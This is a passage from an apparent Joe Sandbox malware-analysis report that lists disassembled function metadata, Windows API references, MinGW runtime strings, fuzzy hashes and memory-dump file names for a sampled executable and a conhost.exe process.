Opcode Fuzzy Hash: 9c1f99675411f496ebae98d8a9fd8c25414099954248e06b923c836f49d44bcd
Instruction Fuzzy Hash: 48F0C213908E8881D2519F28A8000BBB374FF4D78AFA85366EB8C3A124DF28D6428B10

Function 00007FF723474F40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF723474EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF723474ED9
Partial loss of significance (PLOSS), xrefs: 00007FF723474F40

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 14e8c9abfb476ad18acf1c5e7f73d1f4829812003753d9a42390f774e7430cee
Instruction ID: c67b168effc87094d87a4f2e8cd8bfefaf23421c14a2cb6a8ec1e1b99f1d3251
Opcode Fuzzy Hash: 14e8c9abfb476ad18acf1c5e7f73d1f4829812003753d9a42390f774e7430cee
Instruction Fuzzy Hash: 94F06213908E8881D2519F28A8011BAF375FF5D79AF995365EB8D3A164DF28D6428B10

Function 00007FF723474EA1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF723474EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF723474ED9
Argument domain error (DOMAIN), xrefs: 00007FF723474EA1

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: ccf22da0147750aef5dc2870aa310f6cc427e2b221e0b1b15f399e3b2fc4dc88
Instruction ID: b7897f3f3b68e8219411f468d1c10bbf5014b9cafb09e8b18fccb98a2f46a1f3
Opcode Fuzzy Hash: ccf22da0147750aef5dc2870aa310f6cc427e2b221e0b1b15f399e3b2fc4dc88
Instruction Fuzzy Hash: D0F09612808F8881D2419F28A8011BBB375FF5D78AF585365EF8C3A124DF28D5438B10

Function 00007FF723473CC0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF723473CE8
wcscpy.MSVCRT ref: 00007FF723473D77
wcscat.MSVCRT ref: 00007FF723473D82
wcslen.MSVCRT ref: 00007FF723473D93

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: memsetwcscatwcscpywcslen
String ID:
API String ID: 468205783-0
Opcode ID: 0ca46f2540f5f1eee9e4c55254821ceb4244cd7163d10c4abc465a41d223de76
Instruction ID: c45cc2a0cbc7bed125c938cec1a7a9346878fd673d4206b71c93fb404506fe74
Opcode Fuzzy Hash: 0ca46f2540f5f1eee9e4c55254821ceb4244cd7163d10c4abc465a41d223de76
Instruction Fuzzy Hash: E421D512A1878545E7A1EF22E8543BAF6A0FB55B89F8881B5EE4C57391EF7CD040C750

Function 00007FF7234758A0 Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7234758C7
free.MSVCRT ref: 00007FF723475918
LeaveCriticalSection.KERNEL32 ref: 00007FF723475924

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 3c65b183f754d1041ed0acf16b5e25c78a91340a247a1aeea4f14a11320141cc
Instruction ID: b6ed99890fa38186b876b966cbd046b8d8bcf561c04a2d3e8e0f0a053b533942
Opcode Fuzzy Hash: 3c65b183f754d1041ed0acf16b5e25c78a91340a247a1aeea4f14a11320141cc
Instruction Fuzzy Hash: B2113C61B1860B82FAD4BB61EC80139A3A6FF94B42BD444F0C41EAB260DF2CE554CA20

Analysis Process: conhost.exePID: 2384, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	14.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	728
Total number of Limit Nodes:	3

Executed Functions

Function 00007FF6B1A21560 Relevance: 32.2, APIs: 17, Strings: 1, Instructions: 707
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.MSVCRT ref: 00007FF6B1A21695
wcslen.MSVCRT ref: 00007FF6B1A216AC
memset.MSVCRT ref: 00007FF6B1A21739
_wgetenv.MSVCRT ref: 00007FF6B1A2188E
memset.MSVCRT ref: 00007FF6B1A218B4
memset.MSVCRT ref: 00007FF6B1A21981
memset.MSVCRT ref: 00007FF6B1A21AA1
_wgetenv.MSVCRT ref: 00007FF6B1A21C0A
memset.MSVCRT ref: 00007FF6B1A21C2E
_wgetenv.MSVCRT ref: 00007FF6B1A21D9D
_wcsicmp.MSVCRT ref: 00007FF6B1A21FDB
memcpy.MSVCRT ref: 00007FF6B1A22034
memcpy.MSVCRT ref: 00007FF6B1A22079
memcpy.MSVCRT ref: 00007FF6B1A22101

Strings

0, xrefs: 00007FF6B1A216F2

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: memset$_wgetenvmemcpy$_wcsicmpwcscpywcslen
String ID: 0
API String ID: 1664775652-4108050209
Opcode ID: 3a1534b5e3ca9a8a8a2e0385ce873c7f0a8f16c935b960f04ff68599d2e2cc95
Instruction ID: 9c28a925fbd97803ee0a9ccfd42a74c53d3b4785752d212c7ca228dc9938e519
Opcode Fuzzy Hash: 3a1534b5e3ca9a8a8a2e0385ce873c7f0a8f16c935b960f04ff68599d2e2cc95
Instruction Fuzzy Hash: 6F729221A086C5A5FB21DB2AE4153BA6BA1FF95788F404036DB4C87B96EF7DF144C780

Function 00007FF6B1A222E0 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6B1A223E6
wcslen.MSVCRT ref: 00007FF6B1A2245E
memset.MSVCRT ref: 00007FF6B1A22487
wcscpy.MSVCRT ref: 00007FF6B1A22492
wcslen.MSVCRT ref: 00007FF6B1A2249A
memset.MSVCRT ref: 00007FF6B1A224D6
wcscpy.MSVCRT ref: 00007FF6B1A224E1
wcslen.MSVCRT ref: 00007FF6B1A224E9
wcslen.MSVCRT ref: 00007FF6B1A22507
wcslen.MSVCRT ref: 00007FF6B1A2251C
wcslen.MSVCRT ref: 00007FF6B1A22529
wcsncmp.MSVCRT ref: 00007FF6B1A22A57

Strings

`, xrefs: 00007FF6B1A22757
0, xrefs: 00007FF6B1A22A9E
X, xrefs: 00007FF6B1A22711

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: wcslen$memset$wcscpy$wcsncmp
String ID: 0$X$`
API String ID: 4021896446-2527496196
Opcode ID: 5cd01102cff8f793995f13fd71a6889b2a0afbefe029d4eb782a07d94de8c6f9
Instruction ID: b72491305bca5a9f2a43d92611cd77195694a40e07cf1e52b5b512131f90b096
Opcode Fuzzy Hash: 5cd01102cff8f793995f13fd71a6889b2a0afbefe029d4eb782a07d94de8c6f9
Instruction Fuzzy Hash: 2F127622608BC195E7619F2AE4403AA73A1FB95798F005326DF9C97BD9DF7CE184CB40

Function 00007FF6B1A21180 Relevance: 10.7, APIs: 7, Instructions: 206
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF6B1A211E1
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6B1A21253
malloc.MSVCRT ref: 00007FF6B1A21307
malloc.MSVCRT ref: 00007FF6B1A21354
memcpy.MSVCRT ref: 00007FF6B1A21368
GetStartupInfoW.KERNEL32 ref: 00007FF6B1A21483

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpy
String ID:
API String ID: 772431862-0
Opcode ID: 5273d82de4d1551e83d21f6535d4e448e789cf215e6265690160c5270fcc7279
Instruction ID: 027e0672e52042b1c3fb90cbef8a8905b386124d58ed86b94028688f962d64a7
Opcode Fuzzy Hash: 5273d82de4d1551e83d21f6535d4e448e789cf215e6265690160c5270fcc7279
Instruction Fuzzy Hash: 15914676E08646E5EB609B1AE8507792BA1BF45B98F848437DB0DC7795DF3CB8818380

Function 00007FF6B1A22BF0 Relevance: 10.3, APIs: 8, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6B1A22C1B
memcpy.MSVCRT ref: 00007FF6B1A22CCE

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: bc3dbd564f197475ae2ee48bd1b7872a3e2875feb24c66feb77c0a52a0e5af9c
Instruction ID: 5c4cfb08704f25a8cee10f994ae23ed9cebe567ac1f1881b70509e4caaa1482e
Opcode Fuzzy Hash: bc3dbd564f197475ae2ee48bd1b7872a3e2875feb24c66feb77c0a52a0e5af9c
Instruction Fuzzy Hash: 68D1C021A0868669FB15DB2BE4143B9A7A1AF5678CF448037DB4C87B96EF7DF044C780

Function 00007FF6B1A23100 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6B1A23130
wcscpy.MSVCRT ref: 00007FF6B1A2313B
wcslen.MSVCRT ref: 00007FF6B1A2314D

Strings

0, xrefs: 00007FF6B1A2317E

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: memsetwcscpywcslen
String ID: 0
API String ID: 3616488086-4108050209
Opcode ID: 98c46a21205a8cfb2b8dcbab2e6dd1ba7cb6bdea7294c5504a002a40e778399d
Instruction ID: e484ab829349095e0c1e2504c53671821cbfb1447949c043ef434f990900c41c
Opcode Fuzzy Hash: 98c46a21205a8cfb2b8dcbab2e6dd1ba7cb6bdea7294c5504a002a40e778399d
Instruction Fuzzy Hash: 1211C42262869091E7609B26F4503ABA760EFC47A8F940332FB9C47FD5DF3DD6468780

Function 00007FF6B1A23420 Relevance: 3.8, APIs: 3, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6B1A23441
memset.MSVCRT ref: 00007FF6B1A23479
wcscpy.MSVCRT ref: 00007FF6B1A23484

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: memsetwcscpywcslen
String ID:
API String ID: 3616488086-0
Opcode ID: 50fb7179b08112fa5563dfaff0679ef7fc5891c63ca89bd416cdf5f2948ee9db
Instruction ID: 817a8ac2613ac5f8698fe48ad9b8bc08ab06dce42d982560c54eaf802ced9362
Opcode Fuzzy Hash: 50fb7179b08112fa5563dfaff0679ef7fc5891c63ca89bd416cdf5f2948ee9db
Instruction Fuzzy Hash: B5210B2260824161E7219F1BA5003ABE650FF85798F400232EF9D47BD5DF7DF146C740

Function 00007FF6B1A22B30 Relevance: 1.3, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6B1A22B5E

Part of subcall function 00007FF6B1A222E0: memset.MSVCRT ref: 00007FF6B1A223E6
Part of subcall function 00007FF6B1A222E0: wcslen.MSVCRT ref: 00007FF6B1A2245E
Part of subcall function 00007FF6B1A222E0: memset.MSVCRT ref: 00007FF6B1A22487
Part of subcall function 00007FF6B1A222E0: wcscpy.MSVCRT ref: 00007FF6B1A22492
Part of subcall function 00007FF6B1A222E0: wcslen.MSVCRT ref: 00007FF6B1A2249A

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: memset$wcslen$wcscpy
String ID:
API String ID: 3662116142-0
Opcode ID: 077528b4fbaf6a6988103b45e5cfefddc40e8fdd82ed91b7a98fdfc43cacc2ce
Instruction ID: e162583a151d6a3217b4022ebf9ad4f2281662719676d1863ffaa1023c3ec222
Opcode Fuzzy Hash: 077528b4fbaf6a6988103b45e5cfefddc40e8fdd82ed91b7a98fdfc43cacc2ce
Instruction Fuzzy Hash: A201C822B0864151E320EB17B9007FA6662AFC6BD4F544132FF8D53B85CE3CF1468744

Non-executed Functions

Function 00007FF6B1A246F3 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

signal.MSVCRT ref: 00007FF6B1A2475D
signal.MSVCRT ref: 00007FF6B1A247A9
signal.MSVCRT ref: 00007FF6B1A247C2
signal.MSVCRT ref: 00007FF6B1A248CA

Strings

CCG , xrefs: 00007FF6B1A24715

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: f73b309feccdc0718c8485bc7f4582f47a7c2fa0c47dfc38db2b25948b920a74
Instruction ID: 44ba613d0f25673c903bed9f90a217fb5246398495fddcc580c1fc4c5d107323
Opcode Fuzzy Hash: f73b309feccdc0718c8485bc7f4582f47a7c2fa0c47dfc38db2b25948b920a74
Instruction Fuzzy Hash: D3416B21E2858266FBB9537F645037810899F8A73CF298637D72DC37D2DE5CF8908682

Function 00007FF6B1A25420 Relevance: 15.2, APIs: 10, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF6B1A2546E
TlsGetValue.KERNEL32 ref: 00007FF6B1A25475
SetLastError.KERNEL32 ref: 00007FF6B1A25480

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 58db43fd21a0ba2d1e1cc71ca469b3e74231a5d0418b27b06489b0aceca4c8ca
Instruction ID: 5ef8ac05fc249545bc34fefc507e2be784ab69b25b3d147dd80163ac2db0073a
Opcode Fuzzy Hash: 58db43fd21a0ba2d1e1cc71ca469b3e74231a5d0418b27b06489b0aceca4c8ca
Instruction Fuzzy Hash: 1B613C31B09602A5EB659F2AA8147B962A1BF45B9DF588037CF0DC7691CF3CF846C380

Function 00007FF6B1A240C0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00007FF6B1A241DB

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF6B1A242B2
Mingw-w64 runtime failure:, xrefs: 00007FF6B1A240F7
Address %p has no image-section, xrefs: 00007FF6B1A24135, 00007FF6B1A24312
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6B1A242FC

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: ddf683fb2c4f40c3e5fe09b812d31e63a0674634a92dc1432771c13a8722e1b3
Instruction ID: f62c33dce4d5bbc6f7550ba04cd4e208e1e0bf29aa22ad39220f5d159be9e22c
Opcode Fuzzy Hash: ddf683fb2c4f40c3e5fe09b812d31e63a0674634a92dc1432771c13a8722e1b3
Instruction Fuzzy Hash: DF61A272B09752A6E7208B5AF8406B977A4BB49BA8F444136DF4C83795EF3CF486C740

Function 00007FF6B1A25780 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwprintf.MSVCRT ref: 00007FF6B1A258CC

Strings

%.*S, xrefs: 00007FF6B1A258EA
%*.*S, xrefs: 00007FF6B1A258C5
%-*.*S, xrefs: 00007FF6B1A258FE

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fwprintf
String ID: %*.*S$%-*.*S$%.*S
API String ID: 968622242-2115465065
Opcode ID: 4dfcc2ef467748f77e863274aff6fa547121581193f0b77d196f1ec3ea372112
Instruction ID: 10cb940eb66b2f6d27c4019feaafe29c9196137134a7751a2e5e160f4d6066a1
Opcode Fuzzy Hash: 4dfcc2ef467748f77e863274aff6fa547121581193f0b77d196f1ec3ea372112
Instruction Fuzzy Hash: DA41B362A1924295F7618B2F94007F96391FF86B98F548136DF0CC7AC5EEBCF4419B80

Function 00007FF6B1A24BB0 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 00007FF6B1A24BEC
TlsGetValue.KERNEL32 ref: 00007FF6B1A24BCC

Part of subcall function 00007FF6B1A24B70: free.MSVCRT ref: 00007FF6B1A24B8F

DeleteCriticalSection.KERNEL32 ref: 00007FF6B1A24C46

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: Value$CriticalDeleteSectionfree
String ID:
API String ID: 2588641659-0
Opcode ID: 29640dd68c7ba1592e2369c2e41de76e5c60e6e4c261db454f39358a32bca929
Instruction ID: 35a33fda67424e79abb371b55c375f146a2dc40dbf58cadfa21d928f6d00ce04
Opcode Fuzzy Hash: 29640dd68c7ba1592e2369c2e41de76e5c60e6e4c261db454f39358a32bca929
